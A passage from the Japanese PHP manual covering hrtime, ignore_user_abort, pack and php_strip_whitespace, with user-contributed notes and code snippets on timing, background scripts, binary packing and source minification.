    $str = highlight_string($str, true);
    $str = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $str);
    return preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);
}

?>
manithu at fahr-zur-hoelle dot org 06-Nov-2004 11:10
This function will return highlighted, xhtml 1.1 valid code (replaces <font> with <span> elements and color with style attributes):

<?php

function xhtml_highlight($str) {
    $str = highlight_string($str, true);
    //replace <code><font color=""></font></code>
    $str = preg_replace('#<font color="([^\']*)">([^\']*)</font>#', '<span style="color: \\1">\\2</span>', $str);
    //replace other <font> elements
    return preg_replace('#<font color="([^\']*)">([^\']*)</font>#U', '<span style="color: \\1">\\2</span>', $str);
}

?>


システムの高精度な時刻を取得する

  • ≪ highlight_string
  • ignore_user_abort ≫
  • PHP Manual
  • その他の関数
  • システムの高精度な時刻を取得する

hrtime

(PHP 7 >= 7.3.0, PHP 8)

hrtime — システムの高精度な時刻を取得する

説明

hrtime ( bool $as_number = false ) : array|int|float|false

任意のタイミングから計測したシステムの高精度な時刻を取得します。 返されたタイムスタンプは単調であり、調整できません。

パラメータ

as_number

高精度の時刻を array で取得するか、数値で取得するかを指定します。

返り値

as_number が false の場合は、 [秒, ナノ秒] の形式で数値の配列を返します。 true の場合、ナノ秒を (64ビットプラットフォームの場合) int または float (32ビットプラットフォームの場合) として返します。 失敗した場合は false を返します。

例

例1 hrtime() の使い方

<?php
echo hrtime(true), PHP_EOL;
print_r(hrtime());
?>

上の例の出力は、 たとえば以下のようになります。

10444739687370679
Array
(
    [0] => 10444739
    [1] => 687464812
)

参考

  • High resolution timing 拡張機能
  • microtime() - 現在の Unix タイムスタンプをマイクロ秒まで返す

User Contributed Notes

SenseiSimple 25-Oct-2018 12:52
This function is particularly necessary on VMs running on KVM, XEN (openstack, AWS EC2, etc) when timing execution times.

On these platforms which lack vDSO the common method of using time() or microtime() can dramatically increase CPU/execution time due to the context switching from userland to kernel when running the `gettimeofday()` system call.

The common pattern is:
<?php
$time = -microtime(true);
sleep(5);
$end = sprintf('%f', $time += microtime(true));
?>

Substituted as:
<?php
$start=hrtime(true);
sleep(5);
$end=hrtime(true);
$eta=$end-$start;

echo $eta/1e+6; //nanoseconds to milliseconds
//5000.362419

//OR simply

$eta=-hrtime(true);
sleep(5);
$eta+=hrtime(true);

echo $eta/1e+6; //nanoseconds to milliseconds
//5000.088229
?>

There is also the new StopWatch class http://php.net/manual/en/class.hrtime-stopwatch.php


クライアントの接続が切断された際にスクリプトの実行を終了するかどうかを設定する

  • ≪ hrtime
  • pack ≫
  • PHP Manual
  • その他の関数
  • クライアントの接続が切断された際にスクリプトの実行を終了するかどうかを設定する

ignore_user_abort

(PHP 4, PHP 5, PHP 7, PHP 8)

ignore_user_abort — クライアントの接続が切断された際にスクリプトの実行を終了するかどうかを設定する

説明

ignore_user_abort ( bool|null $enable = null ) : int

クライアントの接続が切断された際にスクリプトの実行を終了するかどうかを設定します。

PHP をコマンドラインスクリプトとして実行していて スクリプトを終了させずに tty が消えた場合は、 次に何かを書こうとしたときにスクリプトが終了します。これは enable が true に設定されていても同じです。

パラメータ

enable

この値が指定されるか、null でない場合、この関数は ini 項目 ignore_user_abort に enable の値を設定します。 省略した場合、この関数は前の設定をそのまま返し、何も変更しません。

返り値

以前の設定を表す integer 値を返します。

変更履歴

バージョン | 説明
8.0.0 | enable は、nullable になりました。

例

例1 ignore_user_abort() の例

<?php
// ユーザーによる中断を無視し、
// スクリプトを永遠に実行させます
ignore_user_abort(true);
set_time_limit(0);

echo 'PHP における接続ハンドリングのテスト';

// 無意味なループを繰り返します。
// きっと誰かが他のページに移動したり
// "中止" ボタンを押したりしてくれるでしょう
while(1)
{
    // 接続失敗?
    if(connection_status() != CONNECTION_NORMAL)
    {
        break;
    }

    // 10 秒間お休み
    sleep(10);
}

// ここに到達したということは、while ループ内で
// 'break' が実行されたのでしょう

// ここで、ログを記録したりなどの必要な処理を行います
// これは、ブラウザに依存せずに行えます
?>

注意

PHP は、クライアントに情報を送信しない限り ユーザーが接続を切断したかどうかを検出できません。 単に echo 文を使っただけでは、情報が送信されたかどうかを保証できません。 flush() を参照ください。

参考

  • connection_aborted() - クライアントとの接続が切断されているかどうかを調べる
  • connection_status() - 接続ステータスのビットフィールドを返す
  • PHP における接続処理についての説明は 接続処理

User Contributed Notes

Charlie Brown 11-Jan-2015 09:52
If running a long process and the browser often close the connection, then use this function.
Micke 11-Dec-2014 04:22
It seems that this function does not work for IIS servers.

A detailed description can be found on the PHP Bug Tracking System:
https://bugs.php.net/bug.php?id=60586#1378935714
lukas dot starecek at centrum dot cz 14-Sep-2009 12:22
Comment from Anonymous is not 100% valid. Time from sleep function is not counted to execution time because sleep delays program execution (see http://www.php.net/manual/en/function.sleep.php and comments). We tested it and it's true. Try this:

<?php

set_time_limit(2);
sleep(4);
echo 'hi!';
sleep(4);
echo 'bye bye!';

?>

It means, that if the loop most of the time will be at sleep (and in this case it probably be), then this script may be active for months or years even if you set time limit to one day.
Anonymous 03-Jul-2009 01:38
use the spiritual-coder's code below with exreme caution and do not use it unless you are an advanced user.

first of all, such a code with no bypass point can cause infinite loops and ghost threads in server. there must be a trick to break out the loop.

i.e. you can use  if (file_exists(dirname(__FILE__)."stop.txt")) break; in the loop so if you create "stop.txt", she script will stop execution.

also if you use set_time_limit(86400); instead of set_time_limit(0); your script will stop after one day.
phpguy92135 at yahoo dot com 08-Jun-2009 04:28
Theres no point in sending anything to the browser if the user does abort.  Since the user aborted, the browser wont listen even if PHP did send information to the browser.

If you want to see if the user did abort, then use error_log() or some other form of logging to find out what happened, but dont rely on the output to the browser as the only method of checking ones data.
spiritual-coder at spiritual-coder dot com 13-Jul-2006 09:45
If you want to simulate a crontask you must call this script once and it will keep running forever (during server uptime) in the background while "doing something" every specified seconds (= $interval):

<?php
ignore_user_abort(1); // run script in background
set_time_limit(0); // run script forever
$interval=60*15; // do every 15 minutes...
do{
   // add the script that has to be ran every 15 minutes here
   // ...
   sleep($interval); // wait 15 minutes
}while(true);
?>
plamen at pulsator dot com 29-Mar-2001 09:21
The script should output something to the browser in order to abort. If there is no output the script keeps on running.


データをバイナリ文字列にパックする

  • ≪ ignore_user_abort
  • php_strip_whitespace ≫
  • PHP Manual
  • その他の関数
  • データをバイナリ文字列にパックする

pack

(PHP 4, PHP 5, PHP 7, PHP 8)

pack — データをバイナリ文字列にパックする

説明

pack ( string $format , mixed ...$values ) : string

指定された引数を format に基づいて バイナリ文字列にパックします。

この関数のアイデアは Perl からのものであり、フォーマット指定用の コードは Perl と同様に動作します。しかし、中には存在しない書式コードもあります。 たとえば Perl の "u" は存在しません。

符号付及び符号無しの区別は関数 unpack() にのみ 影響を与えます。関数 pack() は符号付及び符号無しの フォーマットコードのどちらでも同じ結果となることに注意しましょう。

パラメータ

format

フォーマット文字列は、 フォーマットコードの後にオプションの反復指定用引数が続く形式と なっています。反復指定用引数として整数値、または入力データの最後まで 反復を意味する * のどちらかを指定することができます。 a, A, h, H の場合、 反復数はそのデータ引数が取得する文字の数を指定します。反復数が @ の場合、 次のデータを置く場所の絶対位置を表します。その他の場合、反復数は データ引数が使われる数を指定し、結果のバイナリ文字列にパックされます。

現在、実装されているものを以下に示します。

pack() の書式文字
コード | 説明
a | NUL で埋めた文字列
A | 空白で埋めた文字列
h | 十六進文字列、下位ニブルが先
H | 十六進文字列、上位ニブルが先
c | signed char
C | unsigned char
s | signed short (常に 16 ビット、マシンのバイトオーダー)
S | unsigned short (常に 16 ビット、マシンのバイトオーダー)
n | unsigned short (常に 16 ビット、ビッグエンディアンバイトオーダー)
v | unsigned short (常に 16 ビット、リトルエンディアンバイトオーダー)
i | signed integer (サイズおよびバイトオーダーはマシン依存)
I | unsigned integer (サイズおよびバイトオーダーはマシン依存)
l | signed long (常に 32 ビット、マシンのバイトオーダー)
L | unsigned long (常に 32 ビット、マシンのバイトオーダー)
N | unsigned long (常に 32 ビット、ビッグエンディアンバイトオーダー)
V | unsigned long (常に 32 ビット、リトルエンディアンバイトオーダー)
q | signed long long (常に 64 ビット、マシンのバイトオーダー)
Q | unsigned long long (常に 64 ビット、マシンのバイトオーダー)
J | unsigned long long (常に 64 ビット、ビッグエンディアンバイトオーダー)
P | unsigned long long (常に 64 ビット、リトルエンディアンバイトオーダー)
f | float (サイズおよび表現はマシン依存)
g | float (サイズはマシン依存。 リトルエンディアンバイトオーダー)
G | float (サイズはマシン依存。 ビッグエンディアンバイトオーダー)
d | double (サイズおよび表現はマシン依存)
e | double (サイズはマシン依存。 リトルエンディアンバイトオーダー)
E | double (サイズはマシン依存。 ビッグエンディアンバイトオーダー)
x | NUL バイト
X | 1 バイト戻る
Z | NUL 埋め文字列 (PHP 5.5 以降)
@ 絶対位置まで NUL で埋める

values

返り値

バイナリ文字列を含むデータを返します。失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | この関数は、失敗時に false を返さなくなりました。
7.2.0 | float と double 型は、ビッグエンディアンとリトルエンディアンを両方サポートしました。
7.0.15,7.1.1 | "e", "E", "g" および "G" コードが、float と double のバイトオーダーをサポートするために追加されました。
5.6.3 | "q"、"Q"、"J"、"P" が追加され、64ビットの数値が使えるようになりました。
5.5.0 | "Z" が追加されました。Perl の "a" と互換性のある機能です。

例

例1 pack() の例

<?php
$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);
?>

この結果のバイナリ文字列の長さは 6 バイト長で、バイト列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42となります。

注意

警告

PHP は、int 型の値を内部的に格納する際に サイズがマシン依存の符号付き値 (C の long 型) を使うことに注意しましょう。int 型の範囲外の数値となる整数リテラルや演算結果は float として保持されます。この float 値を integer としてパックする際には まず最初に integer 型へのキャストを行います。 その結果、できあがるバイトパターンは期待通りにはならないかもしれません。

この問題にもっとも関連するのが、符号なしの数値で int 型で表現できるものをパックする場合です。 int 型のサイズが 32 ビットであるシステムでのキャスト結果は、 (実装で定義されている標準 C の符号なし型から符号付き型への変換に依存しますが) まるで int が符号なし整数であるかのような同一のバイトパターンになることがよくあります。 int 型のサイズが 64 ビットであるシステムでは、 たいていの場合は float の仮数部のサイズが足りず、 値の精度を損なわずに保持することができません。 ネイティブの 64 ビット C int 型を持つシステム (UNIX 系システムのほとんどは持っていません) では、上側の範囲の値で パック書式 I を使うための唯一の方法は、 希望する符号なし値と同じバイト表現になるような負の int 値を作ることになります。

参考

  • unpack() - バイナリ文字列からデータを切り出す

User Contributed Notes

ru 11-Jul-2017 05:45
pack()
h    Hex string, low nibble first (not same hex2bin())
H    Hex string, high nibble first (same hex2bin())
stanislav dot eckert at vizson dot de 29-May-2016 03:14
A helper class to convert integer to binary strings and vice versa. Useful for writing and reading integers to / from files or sockets.

<?php

    class int_helper
    {
        public static function int8($i) {
            return is_int($i) ? pack("c", $i) : unpack("c", $i)[1];
        }

        public static function uInt8($i) {
            return is_int($i) ? pack("C", $i) : unpack("C", $i)[1];
        }

        public static function int16($i) {
            return is_int($i) ? pack("s", $i) : unpack("s", $i)[1];
        }

        public static function uInt16($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("n", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("v", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("S", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int32($i) {
            return is_int($i) ? pack("l", $i) : unpack("l", $i)[1];
        }

        public static function uInt32($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("N", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("V", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("L", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int64($i) {
            return is_int($i) ? pack("q", $i) : unpack("q", $i)[1];
        }

        public static function uInt64($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("J", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("P", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("Q", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }
    }
?>

Usage example:
<?php
    Header("Content-Type: text/plain");
    include("int_helper.php");

    echo int_helper::uInt8(0x6b) . PHP_EOL;  // k
    echo int_helper::uInt8(107) . PHP_EOL;  // k
    echo int_helper::uInt8("\x6b") . PHP_EOL . PHP_EOL;  // 107

    echo int_helper::uInt16(4101) . PHP_EOL;  // \x05\x10
    echo int_helper::uInt16("\x05\x10") . PHP_EOL;  // 4101
    echo int_helper::uInt16("\x05\x10", true) . PHP_EOL . PHP_EOL;  // 1296

    echo int_helper::uInt32(2147483647) . PHP_EOL;  // \xff\xff\xff\x7f
    echo int_helper::uInt32("\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 2147483647

    // Note: Test this with 64-bit build of PHP
    echo int_helper::uInt64(9223372036854775807) . PHP_EOL;  // \xff\xff\xff\xff\xff\xff\xff\x7f
    echo int_helper::uInt64("\xff\xff\xff\xff\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 9223372036854775807

?>
jrm456 at speed dot 1s dot fr 20-Feb-2014 04:20
How to convert an integer to raw data, specifying the amount of bytes to convert to (will be padded with 0's):

    public function toRaw($int, $bytes = 4)
    {
        $hex = dechex($int);

        if (strlen($hex) % 2 != 0)
            $hex = '0'. $hex;

        $arr = str_split($hex, 2);

        while (count($arr) < $bytes)
            array_unshift($arr, 0);

        $arr = array_map('hexdec', $arr);
        $arr = array_map('chr', $arr);

        return join('', array_reverse($arr));
    }
petepostma at gmail dot spam dot com 06-Jul-2012 05:26
Even though in a 64-bit architecure intval(6123456789) = 6123456789, and sprintf('%b', 5000000000) = 100101010000001011111001000000000
pack will not treat anything passed to it as 64-bit.  If you want to pack a 64-bit integer:

<?php
$big = 5000000000;

$left = 0xffffffff00000000;
$right = 0x00000000ffffffff;

$l = ($big & $left) >>32;
$r = $big & $right;

$good = pack('NN', $l, $r);

$urlsafe = str_replace(array('+','/'), array('-','_'), base64_encode($good));

//done!

//rebuild:
$unurl =  str_replace(array('-','_'), array('+','/'), $urlsafe);
$binary = base64_decode($unurl);

$set = unpack('N2', $tmp);
print_r($set);

$original = $set[1] << 32 | $set[2];
echo $original, "\\r\\n";
?>

results in:
Array
(
    [1] => 1
    [2] => 705032704
)
5000000000

but ONLY on a 64-bit enabled machine and PHP distro.
chadm at codeangel dot org 23-Feb-2012 09:13
If you'd like to understand pack/unpack. There is a tutorial here in perl, that works equally well in understanding it for php:

http://perldoc.perl.org/perlpacktut.html
Gerjoo at gmail dot com 26-May-2011 12:55
You can use pack to strip the byte order mark (BOM) from a file.

For example, strip the UTF-8 BOM:

<?php

// Strips the UTF-8 mark: (hex value: EF BB BF)
function trimUTF8BOM($data){
    if(substr($data, 0, 3) == pack('CCC', 239, 187, 191)) {
        return substr($data, 3);
    }
    return $data;
}

?>

This function could be easily adjusted to match any byte order mark. Have a look at wikipedia for a full list of hex codes for each specific encoding.

- Gerard
FrozenFire 20-Oct-2010 09:40
If you need to unpack a signed short from big-endian or little-endian specifically, instead of machine-byte-order, you need only unpack it as the unsigned form, and then if the result is >= 2^15, subtract 2^16 from it.

And example would be:

<?php
$foo = unpack("n", $signedbigendianshort);
$foo = $foo[1];
if($foo >= pow(2, 15)) $foo -= pow(2, 16);
?>
Ammar Hameed 21-Jun-2010 04:53
Using pack to write Arabic char(s) to a file.

<?php
$text = "&#13574;&#13830;&#13830;";

$text = mb_convert_encoding($text, "UCS-2BE", "HTML-ENTITIES");

$len =  mb_strlen($text);

$bom = mb_convert_encoding("&#65534;", "unicode", "HTML-ENTITIES");

$fp = fopen('text.txt', 'w');

fwrite($fp, pack('a2', $bom));
fwrite($fp, pack("a{$len}", $text));
fwrite($fp, pack('a2', $bom));
fwrite($fp, pack('a2', "\n"));

fclose($fp);
?>
SixThreeOh 15-Feb-2010 10:04
If you're bugged by http://bugs.php.net/bug.php?id=5889 then you can try this:

Use igbinary-serialize if you don't mind a little overhead.

Or intarray (by the same person) if you don't mind using a slightly experimental package which may have problems sharing data between differently byte/bit ordered architectures.

I don't believe it would be too difficult to shove a serialize function and unserialize function in there if you rip out the code from igbinary for storing numeric arrays with the correct endianess. Looking at `igbinary_serialize32` and `igbinary_unserialize32` in igbinary.c it should be very easy to copy that functionality to intarray.c.

Take away the "<<0" though, that's just stupid :P

Ref: http://opensource.dynamoid.com/
Anonymous 21-Aug-2009 08:30
Coder's example is basically an explanation of bindec() and decbin(), not pack() and unpack().

Here's some code to convert a string binary expression into its binary-string equivalent and vice versa.

(Would be even simpler if pack/unpack offered a 'b' format code....)

<?php
function bin2bstr($input)
// Convert a binary expression (e.g., "100111") into a binary-string
{
  if (!is_string($input)) return null; // Sanity check

  // Pack into a string
  return pack('H*', base_convert($input, 2, 16));
}

function bstr2bin($input)
// Binary representation of a binary-string
{
  if (!is_string($input)) return null; // Sanity check

  // Unpack as a hexadecimal string
  $value = unpack('H*', $input);

  // Output binary representation
  return base_convert($value[1], 16, 2);
}

// Returns string(3) "ABC"
var_dump(bin2bstr('01000001 01000010 01000011'));

// Returns string(24) "010000010100001001000011"
var_dump(bstr2bin('ABC'));
?>
Coder 07-Apr-2009 04:54
These two functions allow conversion between binary string and signed integer with possibility to give the bit length.

Usage:
<?php
echo si2bin(-10, 32);
11111111111111111111111111110110
echo si2bin(10, 32);
00000000000000000000000000001010
echo bin2si("11111111111111111111111111110110", 32);
-10
echo bin2si("00000000000000000000000000001010", 32);
10

// signed integer to binary
function si2bin($si, $bits=32)
{
    if ($si >= -pow(2,$bits-1) and $si <= pow(2,$bits-1) )
    {
        if ($si >= 0) // positive or zero
        {
            $bin = base_convert($si,10,2);
            // pad to $bits bit
            $bin_length = strlen($bin);
            if ($bin_length < $bits) $bin = str_repeat ( "0", $bits-$bin_length).$bin;
        }
        else // negative
        {
            $si = -$si-pow(2,$bits);
            $bin = base_convert($si,10,2);
            $bin_length = strlen($bin);
            if ($bin_length > $bits) $bin = str_repeat ( "1", $bits-$bin_length).$bin;
        }
        return $bin;
    }
}

// binary to signed integer
function bin2si($bin,$bits=32)
{
    if (strlen($bin)==$bits)
    {
        if (substr($bin,0,1) == 0) // positive or zero
        {
            $si = base_convert($bin,2,10);
        }
        else // negative
        {
            $si = base_convert($bin,2,10);
            $si = -(pow(2,$bits)-$si);
        }
        return $si;
    }
}
?>
Anonymous 05-Jul-2008 04:17
Array pack:
<?php
function pack_array($v,$a) {
 return call_user_func_array(pack,array_merge(array($v),(array)$a));
}
?>
php at nagler-ihlein dot de 08-May-2008 07:26
Be aware of format code H always padding the 0 for byte-alignment to the right (for odd count of nibbles).

So pack("H", "7") results in 0x70 (ASCII character 'p') and not in 0x07 (BELL character)
as well as pack("H*", "347") results in 0x34 ('4') and 0x70 ('p') and not 0x03 and 0x47.
Quis AT spam.to.my.devnull.quis.cx 25-Jan-2008 06:45
<?PHP
function ntohs($port) {
  $b=pack("N", $port);
  return substr($b,2,2);
}
?>

I've spent a number of hours (n>=2) finding how to do this,
it works like the c function 'ntohs', used for eg the socks5 proxy protocol.
dylan at pow7 dot com 05-Sep-2007 04:00
This is how I used pack to convert base2 to base64 since base_convert doesn't support base64
The base conversions don't work for long strings, which is why I convert 1 byte at a time
Hope this helps someone

function base2to64($base2) {
    if ($remainbits = strlen($base2)%8) $base2 .= str_repeat('0',8-$remainbits);
    $base64 = NULL;
    for ($i=0;$i<strlen($base2);$i+=8) $base16 .= sprintf('%02x',bindec(sprintf('%08d',substr($base2,$i,8))));
    return base64_encode(pack('H*',$base16));
}
function base64to2($base64) {
    list($base16) = unpack('H*0',base64_decode($base64));
    $base2 = NULL;
    for ($i=0;$i<strlen($base16);$i++) $base2 .= sprintf('%04d',base_convert(substr($base16,$i,1),16,2));
    return $base2;
}
Newdawn.dk 22-Mar-2006 04:25
When trying to create a ZIP file using the pack function - I experienced trouble with the "a" code - It converted all chars correct from the std. ASCII charset but not more language specific like AoA.
It seems that ZIP files do not use the same HEX for these as everything else does.
The fix was a quick workaround but you'll probably get the picture:
function UniHex($str) {
    // a o a A O A
    //These are simply one HEX code being replaced by another to correct the issue
    $except = array("E6"=>"91","F8"=>"9B","E5"=>"86","C6"=>"92","D8"=>"9D",    "C5"=>"8F");
    for($i = 0; $i < strlen($str); $i++) {
        $hex = bin2hex(substr($str, $i, 1));
        if ($except[strtoupper($hex)])
            $hex = $except[strtoupper($hex)];
        $return .= $hex;
    }
    return $return;
}
And then i replaced an "a100" code with "H".strlen(uniHex($mystring))

This is like i said a quick workaround, but if you find the real reason for this i'd be happy to see it
j.s.hoekstra 13-Mar-2006 08:57
/* Convert float from HostOrder to Network Order */
function FToN( $val )
{
    $a = unpack("I",pack( "f",$val ));
    return pack("N",$a[1] );
}

/* Convert float from Network Order to HostOrder */
function NToF($val )
{
    $a = unpack("N",$val);
    $b = unpack("f",pack( "I",$a[1]));
    return $b[1];
}
Patrik Fimml 11-Oct-2005 10:42
You will get the same effect with

<?php
function _readInt($fp)
{
   return unpack('V', fread($fp, 4));
}
?>

or unpack('N', ...) for big-endianness.
zilinex at yahoo dot com 01-Sep-2004 11:12
a cool function to converrt numbers to Persian numbers(utf-8)
origin: http://www.farsiweb.info/jalali/jalali.phps

function farsinum($str)
{
  $ret = "";
  for ($i = 0; $i < strlen($str); ++$i) {
        $c = $str[$i];
        if( $c >= '0' && $c <= '9' )
                $out .= pack("C*", 0xDB, 0xB0 + $c);
        else
                $ret .= $c;
  }
  return $ret;
}
plutus at gmx dot de 10-Aug-2000 04:14
Note that the the upper command in perl looks like this:

$binarydata = pack ("n v c*", 0x1234, 0x5678, 65, 66);
In PHP it seems that no whitespaces are allowed in the first parameter. So if you want to convert your pack command from perl -> PHP, don't forget to remove the whitespaces!


コメントと空白文字を取り除いたソースを返す

  • ≪ pack
  • sapi_windows_cp_conv ≫
  • PHP Manual
  • その他の関数
  • コメントと空白文字を取り除いたソースを返す

php_strip_whitespace

(PHP 5, PHP 7, PHP 8)

php_strip_whitespace — コメントと空白文字を取り除いたソースを返す

説明

php_strip_whitespace ( string $filename ) : string

PHP のソースコード filename からコメントと 空白文字を取り除いたものを返します。これは、スクリプトの中で 実際のコードの量がどれくらいなのかを知るのに役立つでしょう。 これは コマンドライン から php -w を実行するのと同じです。

パラメータ

filename

PHP ファイルへのパス。

返り値

成功した場合に処理済みのソースコード、失敗した場合に空の文字列を返します。

注意:

この関数は、 short_open_tag ini ディレクティブの値を考慮します。

注意:

PHP 5.0.1 以降、この関数は記述どおりに動作するようになりました。 それまでは単に空の文字列を返すだけでした。このバグについての詳細な情報は、 バグ番号 » 29606 を参照ください。

例

例1 php_strip_whitespace() の例

<?php
// これは PHP のコメントです

/*
 * これも PHP のコメントです
 */

echo        php_strip_whitespace(__FILE__);
// 改行は空白文字と同じ扱いで、取り除かれます
do_nothing();
?>

上の例の出力は以下となります。

<?php
 echo php_strip_whitespace(__FILE__); do_nothing(); ?>

PHP のコメントが削除されていること、 最初の echo 文の後の改行や空白文字が削除されていることに注目しましょう。

User Contributed Notes

razvan_bc at yahoo dot com 20-May-2019 11:48
i notice that on 45=75kb php file compressed using php_strip_whitespace i got slowest speed results in my apache benchmark  .bat tests so doing on a normal php file 10 tests and another 10 tests on a compressed one ,calculating the math average value  I got fastest results on  normal php files.

well,seeing that results i think  SO ,NICE,BUT IF WE COMBINE THESE "METHODS" : what if i use a partial minified method using this function ????

here is the code:
(if you run this in xampp and you are beginner you got a blank page in firefox  ,but if you right click it then you click on the option "view source" you'll get the php partial stripped by comments and tabs) :

<?php
/*   hi there !!!
here are the comments */
//another try

echo removecomments('index.php');

/*   hi there !!!
here are the comments */
//another try
function removecomments($f){
    $w=Array(';','{','}');
    $ts = token_get_all(php_strip_whitespace($f));
    $s='';
    foreach($ts as $t){
        if(is_array($t)){
            $s .=$t[1];
        }else{
            $s .=$t;
            if( in_array($t,$w) ) $s.=chr(13).chr(10);
        }
    }

    return $s;
}

?>
TK 22-May-2009 06:07
I was looking earlier for a way to strip php comments from my source files but didn't come up with much.  I wrote the following function to do the trick using the tokenizer.  I've tested in on an entire phpMyAdmin install and it worked fine afterward... so it should be good to go.  You may also specify any number of tokens to strip such as T_WHITESPACE rather the default of T_COMMENT and T_DOC_COMMENT.

Hopefully someone finds it useful.

<?php

function strip_tokens($code) {

    $args = func_get_args();
    $arg_count = count($args);

    // if no tokens to strip have been specified then strip comments by default
    if( $arg_count === 1 ) {
        $args[1] = T_COMMENT;
        $args[2] = T_DOC_COMMENT;
    }

    // build a keyed array of tokens to strip
    for( $i = 1; $i < $arg_count; ++$i )
        $strip[ $args[$i] ] = true;

    // set a keyed array of newline characters used to preserve line numbering
    $newlines = array("\n" => true, "\r" => true);

    $tokens = token_get_all($code);

    reset($tokens);

    $return = '';

    $token = current($tokens);

    while( $token ) {

        if( !is_array($token) )

            $return.= $token;

        elseif(    !isset($strip[ $token[0] ]) )

            $return.= $token[1];

        else {

            // return only the token's newline characters to preserve line numbering
            for( $i = 0, $token_length = strlen($token[1]); $i < $token_length; ++$i )
                if( isset($newlines[ $token[1][$i] ]) )
                    $return.= $token[1][$i];

        }

        $token = next($tokens);

    } // while more tokens

    return $return;

} // function

?>
gelamu at gmail dot com 10-Apr-2008 02:12
With this function You can compress Your PHP source code.

<?php

function compress_php_src($src) {
    // Whitespaces left and right from this signs can be ignored
    static $IW = array(
        T_CONCAT_EQUAL,             // .=
        T_DOUBLE_ARROW,             // =>
        T_BOOLEAN_AND,              // &&
        T_BOOLEAN_OR,               // ||
        T_IS_EQUAL,                 // ==
        T_IS_NOT_EQUAL,             // != or <>
        T_IS_SMALLER_OR_EQUAL,      // <=
        T_IS_GREATER_OR_EQUAL,      // >=
        T_INC,                      // ++
        T_DEC,                      // --
        T_PLUS_EQUAL,               // +=
        T_MINUS_EQUAL,              // -=
        T_MUL_EQUAL,                // *=
        T_DIV_EQUAL,                // /=
        T_IS_IDENTICAL,             // ===
        T_IS_NOT_IDENTICAL,         // !==
        T_DOUBLE_COLON,             // ::
        T_PAAMAYIM_NEKUDOTAYIM,     // ::
        T_OBJECT_OPERATOR,          // ->
        T_DOLLAR_OPEN_CURLY_BRACES, // ${
        T_AND_EQUAL,                // &=
        T_MOD_EQUAL,                // %=
        T_XOR_EQUAL,                // ^=
        T_OR_EQUAL,                 // |=
        T_SL,                       // <<
        T_SR,                       // >>
        T_SL_EQUAL,                 // <<=
        T_SR_EQUAL,                 // >>=
    );
    if(is_file($src)) {
        if(!$src = file_get_contents($src)) {
            return false;
        }
    }
    $tokens = token_get_all($src);

    $new = "";
    $c = sizeof($tokens);
    $iw = false; // ignore whitespace
    $ih = false; // in HEREDOC
    $ls = "";    // last sign
    $ot = null;  // open tag
    for($i = 0; $i < $c; $i++) {
        $token = $tokens[$i];
        if(is_array($token)) {
            list($tn, $ts) = $token; // tokens: number, string, line
            $tname = token_name($tn);
            if($tn == T_INLINE_HTML) {
                $new .= $ts;
                $iw = false;
            } else {
                if($tn == T_OPEN_TAG) {
                    if(strpos($ts, " ") || strpos($ts, "\n") || strpos($ts, "\t") || strpos($ts, "\r")) {
                        $ts = rtrim($ts);
                    }
                    $ts .= " ";
                    $new .= $ts;
                    $ot = T_OPEN_TAG;
                    $iw = true;
                } elseif($tn == T_OPEN_TAG_WITH_ECHO) {
                    $new .= $ts;
                    $ot = T_OPEN_TAG_WITH_ECHO;
                    $iw = true;
                } elseif($tn == T_CLOSE_TAG) {
                    if($ot == T_OPEN_TAG_WITH_ECHO) {
                        $new = rtrim($new, "; ");
                    } else {
                        $ts = " ".$ts;
                    }
                    $new .= $ts;
                    $ot = null;
                    $iw = false;
                } elseif(in_array($tn, $IW)) {
                    $new .= $ts;
                    $iw = true;
                } elseif($tn == T_CONSTANT_ENCAPSED_STRING
                       || $tn == T_ENCAPSED_AND_WHITESPACE)
                {
                    if($ts[0] == '"') {
                        $ts = addcslashes($ts, "\n\t\r");
                    }
                    $new .= $ts;
                    $iw = true;
                } elseif($tn == T_WHITESPACE) {
                    $nt = @$tokens[$i+1];
                    if(!$iw && (!is_string($nt) || $nt == '$') && !in_array($nt[0], $IW)) {
                        $new .= " ";
                    }
                    $iw = false;
                } elseif($tn == T_START_HEREDOC) {
                    $new .= "<<<S\n";
                    $iw = false;
                    $ih = true; // in HEREDOC
                } elseif($tn == T_END_HEREDOC) {
                    $new .= "S;";
                    $iw = true;
                    $ih = false; // in HEREDOC
                    for($j = $i+1; $j < $c; $j++) {
                        if(is_string($tokens[$j]) && $tokens[$j] == ";") {
                            $i = $j;
                            break;
                        } else if($tokens[$j][0] == T_CLOSE_TAG) {
                            break;
                        }
                    }
                } elseif($tn == T_COMMENT || $tn == T_DOC_COMMENT) {
                    $iw = true;
                } else {
                    if(!$ih) {
                        $ts = strtolower($ts);
                    }
                    $new .= $ts;
                    $iw = false;
                }
            }
            $ls = "";
        } else {
            if(($token != ";" && $token != ":") || $ls != $token) {
                $new .= $token;
                $ls = $token;
            }
            $iw = true;
        }
    }
    return $new;
}

?>

For example:
<?php

$src = <<<EOT
<?php
// some comment
for ( $i = 0; $i < 99; $i ++ ) {
   echo "i=${ i }\n";
   /* ... */
}
/** ... */
function abc() {
   return   "abc";
};

abc();
?>
<h1><?= "Some text " . str_repeat("_-x-_ ", 32);;; ?></h1>
EOT;
var_dump(compress_php_src($src));
?>

And the result is:
string(125) "<?php for(=0;<99;++){echo "i=\n";}function abc(){return "abc";};abc(); ?>
<h1><?="Some text ".str_repeat("_-x-_ ",32)?></h1>"
Jouni 03-Oct-2007 05:14
